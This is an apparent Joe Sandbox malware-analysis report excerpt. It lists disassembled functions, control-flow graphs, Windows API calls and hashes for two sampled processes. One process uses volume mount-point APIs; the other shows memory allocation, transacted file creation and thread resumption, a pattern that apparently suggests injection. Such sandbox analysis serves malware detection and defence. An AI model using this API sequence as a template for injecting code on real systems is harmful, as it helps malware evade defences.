                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: InformationQuerySystem
                                                              • String ID:
                                                              • API String ID: 3562636166-0
                                                              • Opcode ID: b489f29188039f25b10ca4aa454a7b4c9ee8bc4f3949ed7625baf762e72cb729
                                                              • Instruction ID: 460717bf0cd161697773c46989b88856f4e9522844742ff7ad6b5d649c6320af
                                                              • Opcode Fuzzy Hash: b489f29188039f25b10ca4aa454a7b4c9ee8bc4f3949ed7625baf762e72cb729
                                                              • Instruction Fuzzy Hash: 89F03672A68785C7EB20DF20E49156AB371FB9D708B919335EA8D86514FF38E184CB00
                                                              Function 00007FF60D7F1FDC Relevance: 25.8, APIs: 17, Instructions: 294memorythreadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 84 7ff60d7f1fdc-7ff60d7f205b SetThreadUILanguage SetErrorMode HeapSetInformation 85 7ff60d7f205d-7ff60d7f2075 GetLastError call 7ff60d7f12d4 84->85 86 7ff60d7f207a-7ff60d7f20b3 GetStdHandle GetConsoleMode 84->86 91 7ff60d7f2190-7ff60d7f21bf call 7ff60d7f28c0 85->91 88 7ff60d7f20f1-7ff60d7f213c 86->88 92 7ff60d7f218e 88->92 93 7ff60d7f220a-7ff60d7f22c6 88->93 92->91 99 7ff60d7f2394-7ff60d7f2397 93->99 100 7ff60d7f22cc-7ff60d7f22cf 93->100 103 7ff60d7f2399-7ff60d7f23bb GetVolumeNameForVolumeMountPointW 99->103 104 7ff60d7f23d7-7ff60d7f23d9 99->104 101 7ff60d7f2323-7ff60d7f232b 100->101 102 7ff60d7f22d1-7ff60d7f230c GetVolumeNameForVolumeMountPointW call 7ff60d7f1d20 100->102 109 7ff60d7f2331-7ff60d7f2344 DeleteVolumeMountPointW 101->109 110 7ff60d7f257d 101->110 102->101 103->85 105 7ff60d7f23c1-7ff60d7f23d2 call 7ff60d7f1238 103->105 106 7ff60d7f23df-7ff60d7f23e6 call 7ff60d7f1348 104->106 107 7ff60d7f24e9 104->107 105->110 121 7ff60d7f24df-7ff60d7f24e4 106->121 122 7ff60d7f23ec-7ff60d7f23f1 106->122 114 7ff60d7f24ee-7ff60d7f24f6 107->114 109->92 115 7ff60d7f234a-7ff60d7f2359 GetLastError 109->115 118 7ff60d7f2584-7ff60d7f25a0 call 7ff60d7f2a98 110->118 114->114 119 7ff60d7f24f8-7ff60d7f24fc 114->119 115->85 120 7ff60d7f235f-7ff60d7f236c 115->120 132 7ff60d7f25a2-7ff60d7f25a4 118->132 133 7ff60d7f25a6-7ff60d7f25bd 118->133 124 7ff60d7f2563-7ff60d7f2576 SetVolumeMountPointW 119->124 125 7ff60d7f24fe-7ff60d7f2506 119->125 120->118 126 7ff60d7f2372-7ff60d7f238f DefineDosDeviceW 120->126 128 7ff60d7f23f4-7ff60d7f23fc 122->128 127 7ff60d7f257b 124->127 125->124 130 7ff60d7f2508-7ff60d7f250d 125->130 126->127 127->110 128->128 131 7ff60d7f23fe-7ff60d7f2402 128->131 130->124 134 7ff60d7f250f-7ff60d7f251b 130->134 131->121 137 7ff60d7f2408-7ff60d7f2412 131->137 138 7ff60d7f25f9-7ff60d7f264d call 7ff60d7f2c68 __set_app_type call 7ff60d7f2cc0 132->138 133->132 139 7ff60d7f25bf-7ff60d7f25c8 133->139 135 7ff60d7f251d-7ff60d7f2525 134->135 136 7ff60d7f2527-7ff60d7f254d QueryDosDeviceW 134->136 135->124 135->136 140 7ff60d7f254f 136->140 141 7ff60d7f2559-7ff60d7f255e 136->141 137->121 143 7ff60d7f2418-7ff60d7f2420 137->143 158 7ff60d7f264f-7ff60d7f2656 __setusermatherr 138->158 159 7ff60d7f265c-7ff60d7f2662 138->159 144 7ff60d7f25ca-7ff60d7f25d3 139->144 145 7ff60d7f25e8-7ff60d7f25ee 139->145 140->141 141->124 143->121 149 7ff60d7f2426-7ff60d7f2432 143->149 144->132 146 7ff60d7f25d5-7ff60d7f25de 144->146 145->138 147 7ff60d7f25f0 145->147 146->138 150 7ff60d7f25e0-7ff60d7f25e6 146->150 151 7ff60d7f25f6 147->151 153 7ff60d7f2434-7ff60d7f243c 149->153 154 7ff60d7f2442-7ff60d7f246c QueryDosDeviceW 149->154 150->151 151->138 153->121 153->154 154->140 156 7ff60d7f2472-7ff60d7f2486 call 7ff60d7f1660 154->156 156->121 161 7ff60d7f2488-7ff60d7f2496 call 7ff60d7f1494 156->161 158->159 164 7ff60d7f24a0 161->164 165 7ff60d7f2498-7ff60d7f249b 161->165 166 7ff60d7f24a5-7ff60d7f24ad 164->166 165->110 166->166 167 7ff60d7f24af-7ff60d7f24da DefineDosDeviceW 166->167 167->110
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$ConsoleFormatHandleHeapInformationLanguageLastMessageThread
                                                              • String ID:
                                                              • API String ID: 2611510217-0
                                                              • Opcode ID: 5f5a401eef087699db5b0afa3b4a1a4dbc68160e204c0a8ef9c0b79a97c5e873
                                                              • Instruction ID: 557fd21910f05aa757e21656076a42c696f13e0f10e651349bcba6e2ae7516df
                                                              • Opcode Fuzzy Hash: 5f5a401eef087699db5b0afa3b4a1a4dbc68160e204c0a8ef9c0b79a97c5e873
                                                              • Instruction Fuzzy Hash: 9CD19E32A58642C6EB709F24E8502BA76A0FF49B48FA15331DA4EC7695FF3CE945C704
                                                              Function 00007FF60D7F26C0 Relevance: 9.1, APIs: 6, Instructions: 95sleepCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
                                                              • String ID:
                                                              • API String ID: 4291973834-0
                                                              • Opcode ID: 4ae1ec36ffe66ceb984f778016071e3338dd8f43b2d01ad686cb2e83bbe4d9b1
                                                              • Instruction ID: d312ac3306c5ffb5897eabfe7fdac08964615d3f89b6d40a2be3089945f01d96
                                                              • Opcode Fuzzy Hash: 4ae1ec36ffe66ceb984f778016071e3338dd8f43b2d01ad686cb2e83bbe4d9b1
                                                              • Instruction Fuzzy Hash: 36410034E8D60782EB309B14E94167926A0FF44784F740639DA8DD76A6FF3CE8848758
                                                              Function 00007FF60D7F1130 Relevance: 7.6, APIs: 5, Instructions: 62memoryfileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: LocalWrite$AllocByteCharConsoleFileFreeMultiWide
                                                              • String ID:
                                                              • API String ID: 3543570371-0
                                                              • Opcode ID: 5e08e7c95a99c52eb60246902b127f6bc43a3d2a40ff4cdd77f2489be4fee96d
                                                              • Instruction ID: 0605b6d736f4cae6bc9c4fac1bcd39a99aebb2d0c2ce35ab44e1d14c60dfaaad
                                                              • Opcode Fuzzy Hash: 5e08e7c95a99c52eb60246902b127f6bc43a3d2a40ff4cdd77f2489be4fee96d
                                                              • Instruction Fuzzy Hash: 5F215135548B42C6E7208F15F84046ABBB0F789BA4F658335DE5E927A4EF3CD156C700
                                                              Function 00007FF60D7F1660 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54stringCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: DeviceFormatMessageQuerylstrcmp
                                                              • String ID: :$\
                                                              • API String ID: 1650219507-1166558509
                                                              • Opcode ID: 21d24d7abb827aea3bcefb50e35b8776eefcf621d633b2bbcdc5c084c96ccf7b
                                                              • Instruction ID: 05c355260728c1c6911e66e52a406f958c9deb3a471a82ad4c230d12fae13cfb
                                                              • Opcode Fuzzy Hash: 21d24d7abb827aea3bcefb50e35b8776eefcf621d633b2bbcdc5c084c96ccf7b
                                                              • Instruction Fuzzy Hash: 72215B72658B81C2FA308F11E4007BA67A4FB99B84FA54231DE8D87689EF3CD505CB10
                                                              Function 00007FF60D7F13B4 Relevance: 4.6, APIs: 3, Instructions: 55fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 244 7ff60d7f13b4-7ff60d7f13cd 245 7ff60d7f13cf-7ff60d7f13d6 244->245 245->245 246 7ff60d7f13d8-7ff60d7f13db 245->246 247 7ff60d7f13e1-7ff60d7f13ed 246->247 248 7ff60d7f1476 246->248 247->248 249 7ff60d7f13f3-7ff60d7f142d CreateFileW 247->249 250 7ff60d7f1478-7ff60d7f148a 248->250 249->248 251 7ff60d7f142f-7ff60d7f1474 DeviceIoControl CloseHandle 249->251 251->250
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CloseControlCreateDeviceFileHandle
                                                              • String ID:
                                                              • API String ID: 33631002-0
                                                              • Opcode ID: ee6c0a8678e403f1ed9499553ee9dcd739a3b3037c75b270b4454832f7db71cd
                                                              • Instruction ID: 207d028670684167a4a7305d9b49f33c1b55852af9b7d003483d3220b2a1aab9
                                                              • Opcode Fuzzy Hash: ee6c0a8678e403f1ed9499553ee9dcd739a3b3037c75b270b4454832f7db71cd
                                                              • Instruction Fuzzy Hash: 87216272618B5187E7609F15B44056ABAB0FB857B4F649324DEB943BF4EF38C4568B00
                                                              Function 00007FF60D7F1238 Relevance: 1.5, APIs: 1, Instructions: 31windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: ConsoleFormatMessageWrite
                                                              • String ID:
                                                              • API String ID: 1159442765-0
                                                              • Opcode ID: febdcccd4a6ca5abf0651f36ac2c4d885d5640e56f15418ecebb4e798eb2bb65
                                                              • Instruction ID: 472cd303f0ba73b5e7339e57a41a4284edf0a9376feb78c8f215b4d7598f6124
                                                              • Opcode Fuzzy Hash: febdcccd4a6ca5abf0651f36ac2c4d885d5640e56f15418ecebb4e798eb2bb65
                                                              • Instruction Fuzzy Hash: 8E012C32A18B8186E720DB10F45525EB7E4FBD9744F914239E68C83B59EF3CD119CB40

                                                              Non-executed Functions

                                                              Function 00007FF60D7F2DB4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
                                                              • String ID:
                                                              • API String ID: 4104442557-0
                                                              • Opcode ID: 40e3f1c2d9f24896e6cf21ecc3f7062268da11ab292e1b49d4a7588a6e2f4437
                                                              • Instruction ID: 423c03a9d7b487a4e1bc71a5e7ac1a2bc53995d5e7d6551f4bfce43feb0c1055
                                                              • Opcode Fuzzy Hash: 40e3f1c2d9f24896e6cf21ecc3f7062268da11ab292e1b49d4a7588a6e2f4437
                                                              • Instruction Fuzzy Hash: 96113022A44F418BEB20DF70E84826933A4FB4975CF510B35EA6D87754EF7CD5A48340
                                                              Function 00007FF60D7F159C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CloseControlCreateDeviceFileHandle
                                                              • String ID: \\.\MountPointManager
                                                              • API String ID: 33631002-3276014075
                                                              • Opcode ID: c6ab8fc516d38159cfff938e0a4f74ad7cc36754aaf57107d06ca0e3cd3c8a9d
                                                              • Instruction ID: 2b31b0c0fc1fe37f2ff863566615c1ff15c7d4439746c5651d7f27f31267f20c
                                                              • Opcode Fuzzy Hash: c6ab8fc516d38159cfff938e0a4f74ad7cc36754aaf57107d06ca0e3cd3c8a9d
                                                              • Instruction Fuzzy Hash: 37113D32608B9187D7208F18B404169BBA4F789BB4F694335EA7E837D4DF38C555CB00
                                                              Function 00007FF60D7F28C0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                              • String ID:
                                                              • API String ID: 140117192-0
                                                              • Opcode ID: 6d09d0d0d53610a89bff028a613da3a041f80898f6c4918de23eb4cbd6362075
                                                              • Instruction ID: 1abe51d8750c85b351a2d541283af3540c10a8064bc0be311f50f6c8ff42d599
                                                              • Opcode Fuzzy Hash: 6d09d0d0d53610a89bff028a613da3a041f80898f6c4918de23eb4cbd6362075
                                                              • Instruction Fuzzy Hash: FF41C575A58B4281EB608B18F89076973A4FB89754FB04236DA8EC3765FF3DE548C704
                                                              Function 00007FF60D7F2A98 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000003.00000002.1735536510.00007FF60D7F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF60D7F0000, based on PE: true
                                                              • Associated: 00000003.00000002.1735502195.00007FF60D7F0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735557964.00007FF60D7F4000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              • Associated: 00000003.00000002.1735578447.00007FF60D7F7000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_3_2_7ff60d7f0000_h7xZry2ICs.jbxd
                                                              Similarity
                                                              • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                              • String ID:
                                                              • API String ID: 140117192-0
                                                              • Opcode ID: 0de747106581f371168582486d9dc0af83d46a818d07c167d587705e8cee9617
                                                              • Instruction ID: d90f2ffdb3d1abc9d1b3510e25c41585fb6776489566818bce4761b4ddcd329e
                                                              • Opcode Fuzzy Hash: 0de747106581f371168582486d9dc0af83d46a818d07c167d587705e8cee9617
                                                              • Instruction Fuzzy Hash: E421C235A58B4286E7608B04F88076A73B4FB89754FB00236DA8D83765FF7DE544C704

                                                              Execution Graph

                                                              Execution Coverage:14.9%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:14.7%
                                                              Total number of Nodes:34
                                                              Total number of Limit Nodes:4
                                                              execution_graph 16746 7ffd9b88f0f5 16747 7ffd9b88f11f VirtualAlloc 16746->16747 16749 7ffd9b88f23f 16747->16749 16750 7ffd9b88d2f5 16751 7ffd9b88d36b WriteFile 16750->16751 16753 7ffd9b88d48f 16751->16753 16766 7ffd9b88d04a 16767 7ffd9b88d059 CreateFileTransactedW 16766->16767 16769 7ffd9b88d268 16767->16769 16774 7ffd9b88b57d 16776 7ffd9b8f15e0 16774->16776 16775 7ffd9b8f1652 16776->16775 16779 7ffd9b8f07d0 16776->16779 16778 7ffd9b8f16c9 16780 7ffd9b8f07db 16779->16780 16782 7ffd9b8f087e 16780->16782 16783 7ffd9b8f0897 16780->16783 16782->16778 16784 7ffd9b8f08ea ResumeThread 16783->16784 16785 7ffd9b8f08a2 16783->16785 16787 7ffd9b8f09b4 16784->16787 16785->16782 16787->16782 16754 7ffd9b88e6e1 16757 7ffd9b88e6eb 16754->16757 16755 7ffd9b88e815 16761 7ffd9b88ec5a 16755->16761 16757->16755 16758 7ffd9b88e822 16757->16758 16759 7ffd9b88ec5a GetSystemInfo 16758->16759 16760 7ffd9b88e820 16759->16760 16762 7ffd9b88ec65 16761->16762 16763 7ffd9b88ec85 16762->16763 16764 7ffd9b88ed22 GetSystemInfo 16762->16764 16763->16760 16765 7ffd9b88ed85 16764->16765 16765->16760 16770 7ffd9b88ec91 16771 7ffd9b88ec9e GetSystemInfo 16770->16771 16773 7ffd9b88ed85 16771->16773

                                                              Executed Functions

                                                              Function 00007FFD9B88EC5A Relevance: 1.7, APIs: 1, Instructions: 168COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1365 7ffd9b88ec5a-7ffd9b88ec63 1366 7ffd9b88ec65-7ffd9b88ec83 1365->1366 1367 7ffd9b88ecad 1365->1367 1371 7ffd9b88ec85-7ffd9b88ec8f 1366->1371 1372 7ffd9b88ec9e-7ffd9b88ecaa 1366->1372 1369 7ffd9b88ecaf 1367->1369 1370 7ffd9b88ecb0-7ffd9b88ed1a 1367->1370 1369->1370 1375 7ffd9b88ed22-7ffd9b88ed83 GetSystemInfo 1370->1375 1372->1367 1376 7ffd9b88ed85 1375->1376 1377 7ffd9b88ed8b-7ffd9b88edbb 1375->1377 1376->1377
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem
                                                              • String ID:
                                                              • API String ID: 31276548-0
                                                              • Opcode ID: 597a060d1a82e7f12bbe736930ef54372e80b2626180b13668dc3643487b0ad2
                                                              • Instruction ID: 3d624855b28cc0d735e225b0afe47223aa18782ccb75bd1cf0d61d7e0dc31d8c
                                                              • Opcode Fuzzy Hash: 597a060d1a82e7f12bbe736930ef54372e80b2626180b13668dc3643487b0ad2
                                                              • Instruction Fuzzy Hash: A551D230A0DA4C8FDB59DFA8D855AE9BBF1FF59311F0041ABD04DD72A2DA346946CB40
                                                              Function 00007FFD9BA63C9F Relevance: .7, Instructions: 733COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f4434f5d26ca9645ed5e2d8fe6dd177962f745e4f6dcbed4f9b6705a141c5e7f
                                                              • Instruction ID: 5eadfaaa56ec9810b1145049c3ab8717586574ffe16cbe48498695e864e7cfe1
                                                              • Opcode Fuzzy Hash: f4434f5d26ca9645ed5e2d8fe6dd177962f745e4f6dcbed4f9b6705a141c5e7f
                                                              • Instruction Fuzzy Hash: 8E52C270A1965DCFDB5CCF58C4A16B87BB1FF58300F5141BED45ACB2A6CA78A981CB40
                                                              Function 00007FFD9BA6CC12 Relevance: 2.0, Strings: 1, Instructions: 748COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 882 7ffd9ba6cc12-7ffd9ba6ccd9 902 7ffd9ba6cd52-7ffd9ba6cd7a 882->902 903 7ffd9ba6ccdb-7ffd9ba6ccf9 882->903 911 7ffd9ba6cdac-7ffd9ba6cdd9 902->911 912 7ffd9ba6cd7c-7ffd9ba6cda6 902->912 920 7ffd9ba6ce51-7ffd9ba6ce7a 911->920 921 7ffd9ba6cddb-7ffd9ba6ce4f 911->921 912->911 930 7ffd9ba6ceac-7ffd9ba6ced9 920->930 931 7ffd9ba6ce7c-7ffd9ba6cea6 920->931 921->920 944 7ffd9ba6cf50 930->944 945 7ffd9ba6cedb-7ffd9ba6cef9 930->945 931->930 946 7ffd9ba6cf03-7ffd9ba6cf4f 944->946 947 7ffd9ba6cf52-7ffd9ba6d072 944->947 946->944 980 7ffd9ba6d0a4-7ffd9ba6d172 947->980 981 7ffd9ba6d074-7ffd9ba6d09e 947->981 994 7ffd9ba6d1a4-7ffd9ba6d272 980->994 995 7ffd9ba6d174-7ffd9ba6d19e 980->995 981->980 1008 7ffd9ba6d2a4-7ffd9ba6d2d9 994->1008 1009 7ffd9ba6d274-7ffd9ba6d2a1 994->1009 995->994 1019 7ffd9ba6d2db-7ffd9ba6d2f9 1008->1019 1020 7ffd9ba6d34c-7ffd9ba6d362 1008->1020 1009->1008 1026 7ffd9ba6d394-7ffd9ba6d3a1 1020->1026 1027 7ffd9ba6d364-7ffd9ba6d372 1020->1027 1028 7ffd9ba6d3a4-7ffd9ba6d3a8 1026->1028 1027->1028 1029 7ffd9ba6d374-7ffd9ba6d37a 1027->1029 1030 7ffd9ba6d3aa 1028->1030 1031 7ffd9ba6d3c6-7ffd9ba6d44f 1028->1031 1032 7ffd9ba6d3ac-7ffd9ba6d3c5 1029->1032 1033 7ffd9ba6d37c-7ffd9ba6d391 1029->1033 1030->1032 1043 7ffd9ba6d451-7ffd9ba6d455 call 7ffd9ba67908 1031->1043 1032->1031 1033->1026 1045 7ffd9ba6d45a 1043->1045 1047 7ffd9ba6d45c-7ffd9ba6d473 1045->1047 1048 7ffd9ba6d479-7ffd9ba6d47d 1047->1048
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: _
                                                              • API String ID: 0-701932520
                                                              • Opcode ID: 0eeb58ed60f3d417a633ff83cca4ac6f95cc3f047f575d18d9f99a687d8be8b0
                                                              • Instruction ID: bc4a990af570693ddb9bd8223dcb3fd13177bae378ff94e09be55d4b8d763b99
                                                              • Opcode Fuzzy Hash: 0eeb58ed60f3d417a633ff83cca4ac6f95cc3f047f575d18d9f99a687d8be8b0
                                                              • Instruction Fuzzy Hash: 0332E7A3A0E1A69FD316B7A8BCB94E63F50EF0126C70901F7E09D4B0E3ED4C75469295
                                                              Function 00007FFD9B88D04A Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1261 7ffd9b88d04a-7ffd9b88d057 1262 7ffd9b88d059-7ffd9b88d061 1261->1262 1263 7ffd9b88d062-7ffd9b88d128 1261->1263 1262->1263 1267 7ffd9b88d12a-7ffd9b88d141 1263->1267 1268 7ffd9b88d144-7ffd9b88d266 CreateFileTransactedW 1263->1268 1267->1268 1269 7ffd9b88d268 1268->1269 1270 7ffd9b88d26e-7ffd9b88d2f0 1268->1270 1269->1270
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID: CreateFileTransacted
                                                              • String ID:
                                                              • API String ID: 2149338676-0
                                                              • Opcode ID: e1306ce0985c775002a7c73623feab692cceb1dfc8a7b4832d79f095188e799c
                                                              • Instruction ID: 709671ba0373148f63f1ab723abd5e7c6d8a0e4a06023a90315b0f91fb82ec52
                                                              • Opcode Fuzzy Hash: e1306ce0985c775002a7c73623feab692cceb1dfc8a7b4832d79f095188e799c
                                                              • Instruction Fuzzy Hash: 86912370908A5C8FDB99DF58C894BE9BBF1FB6A310F1001AED04DE3291DB75A980CB04
                                                              Function 00007FFD9BA65B39 Relevance: 1.8, Strings: 1, Instructions: 529COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
